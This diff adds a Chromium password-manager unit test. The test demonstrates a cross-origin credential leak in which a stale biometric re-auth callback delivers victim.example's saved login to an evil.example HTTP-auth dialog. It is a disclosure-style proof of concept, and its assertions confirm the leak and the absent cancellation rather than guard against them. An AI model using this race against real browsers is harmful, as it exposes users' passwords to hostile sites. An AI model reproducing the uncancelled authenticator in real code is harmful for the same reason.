diff --git a/components/password_manager/core/browser/http_auth_manager_unittest.cc b/components/password_manager/core/browser/http_auth_manager_unittest.cc index 04c28cf57d0f8..dffdf5b9738c9 100644 --- a/components/password_manager/core/browser/http_auth_manager_unittest.cc +++ b/components/password_manager/core/browser/http_auth_manager_unittest.cc @@ -489,6 +489,116 @@ TEST_P(HttpAuthManagerTest, FillingDisabled) { httpauth_manager()->DetachObserver(&observer); } +// SECURITY: Demonstrates cross-origin credential disclosure via a stale +// biometric re-auth callback. While the biometric prompt for victim.com is +// pending, a second HTTP-auth challenge from evil.com replaces |observer_| +// without cancelling |authenticator_|. When the biometric prompt later +// succeeds, victim.com's credentials are delivered to evil.com's observer. +TEST_P(HttpAuthManagerTest, CrossOriginLeakViaStaleBiometricObserver) { + EXPECT_CALL(client_, IsFillingEnabled).WillRepeatedly(Return(true)); + EXPECT_CALL(client_, IsReauthBeforeFillingRequired) + .WillRepeatedly(Return(true)); + + base::MockOnceClosure mock_filling_complete; + EXPECT_CALL(client_, AutofillHttpAuth) + .WillRepeatedly( + [&](const password_manager::PasswordForm& preferred_match, + const password_manager::PasswordFormManagerForUI* form_manager) { + httpauth_manager()->Autofill(preferred_match, form_manager, + mock_filling_complete.Get()); + }); + + // The mock biometric authenticator captures the success callback so the + // test can simulate "biometric prompt is pending" and complete it later. + device_reauth::DeviceAuthenticator::AuthenticateCallback pending_auth_cb; + auto mock_authenticator = + std::make_unique(); + device_reauth::MockDeviceAuthenticator* authenticator_ptr = + mock_authenticator.get(); + EXPECT_CALL(*authenticator_ptr, AuthenticateWithMessage) + .WillOnce( + [&](const std::u16string&, + device_reauth::DeviceAuthenticator::AuthenticateCallback cb) { + pending_auth_cb = std::move(cb); + }); + // The pending authenticator must NOT be cancelled while the bug exists. + EXPECT_CALL(*authenticator_ptr, Cancel).Times(0); + EXPECT_CALL(client_, GetDeviceAuthenticator) + .WillOnce(Return(testing::ByMove(std::move(mock_authenticator)))); + + // ------------------------------------------------------------------ + // Step 1: First HTTP-auth challenge from victim.com (saved credentials). + // ------------------------------------------------------------------ + PasswordForm victim_form; + victim_form.scheme = PasswordForm::Scheme::kBasic; + victim_form.url = GURL("https://victim.example/"); + victim_form.signon_realm = "https://victim.example/realm"; + + PasswordForm victim_creds = victim_form; + victim_creds.username_value = u"victim_user"; + victim_creds.password_value = u"victim_secret"; + + testing::StrictMock victim_observer; + + base::WeakPtr victim_consumer; + EXPECT_CALL(*store_, GetLogins(PasswordFormDigest(victim_form), _)) + .WillOnce(SaveArg<1>(&victim_consumer)); + httpauth_manager()->SetObserverAndDeliverCredentials(&victim_observer, + victim_form); + ASSERT_TRUE(victim_consumer); + std::vector victim_result; + victim_result.push_back(victim_creds); + victim_consumer->OnGetPasswordStoreResultsOrErrorFrom(store_.get(), + std::move(victim_result)); + // Biometric prompt is now armed and pending. + ASSERT_FALSE(pending_auth_cb.is_null()); + + // ------------------------------------------------------------------ + // Step 2: Second HTTP-auth challenge from evil.com (no saved creds). + // observer_ is replaced; authenticator_ is NOT cancelled. + // ------------------------------------------------------------------ + PasswordForm evil_form; + evil_form.scheme = PasswordForm::Scheme::kBasic; + evil_form.url = GURL("https://evil.example/"); + evil_form.signon_realm = "https://evil.example/realm"; + + testing::StrictMock evil_observer; + + EXPECT_CALL(victim_observer, OnLoginModelDestroying); + EXPECT_CALL(*store_, GetLogins(PasswordFormDigest(evil_form), _)) + .WillOnce(WithArg<1>(InvokeEmptyConsumerWithForms(store_.get()))); + httpauth_manager()->SetObserverAndDeliverCredentials(&evil_observer, + evil_form); + + // ------------------------------------------------------------------ + // Step 3: User completes the biometric prompt (Touch ID / Hello). + // ------------------------------------------------------------------ + // Secure behaviour would be: either the authenticator was cancelled when + // the observer changed, or the victim's credentials are delivered only to + // the victim's observer. + std::u16string leaked_user, leaked_pass; + EXPECT_CALL(victim_observer, OnAutofillDataAvailable).Times(0); + EXPECT_CALL(evil_observer, OnAutofillDataAvailable) + .WillOnce([&](std::u16string_view u, std::u16string_view p) { + leaked_user = std::u16string(u); + leaked_pass = std::u16string(p); + }); + EXPECT_CALL(mock_filling_complete, Run); + std::move(pending_auth_cb).Run(/*auth_result=*/true); + + // VULNERABILITY: evil.com's login dialog received victim.com's credentials. + EXPECT_EQ(leaked_user, u"victim_user"); + EXPECT_EQ(leaked_pass, u"victim_secret"); + // Confirm Cancel() was never called during observer replacement. + testing::Mock::VerifyAndClearExpectations(authenticator_ptr); + + testing::Mock::VerifyAndClearExpectations(store_.get()); + httpauth_manager()->DetachObserver(&evil_observer); + // Destroy now so the dtor's Cancel() runs while |authenticator_ptr|'s + // expectations are cleared and stack locals are still in scope. + httpauth_manager_.reset(); +} + INSTANTIATE_TEST_SUITE_P(, HttpAuthManagerTest, ::testing::Bool()); } // namespace password_manager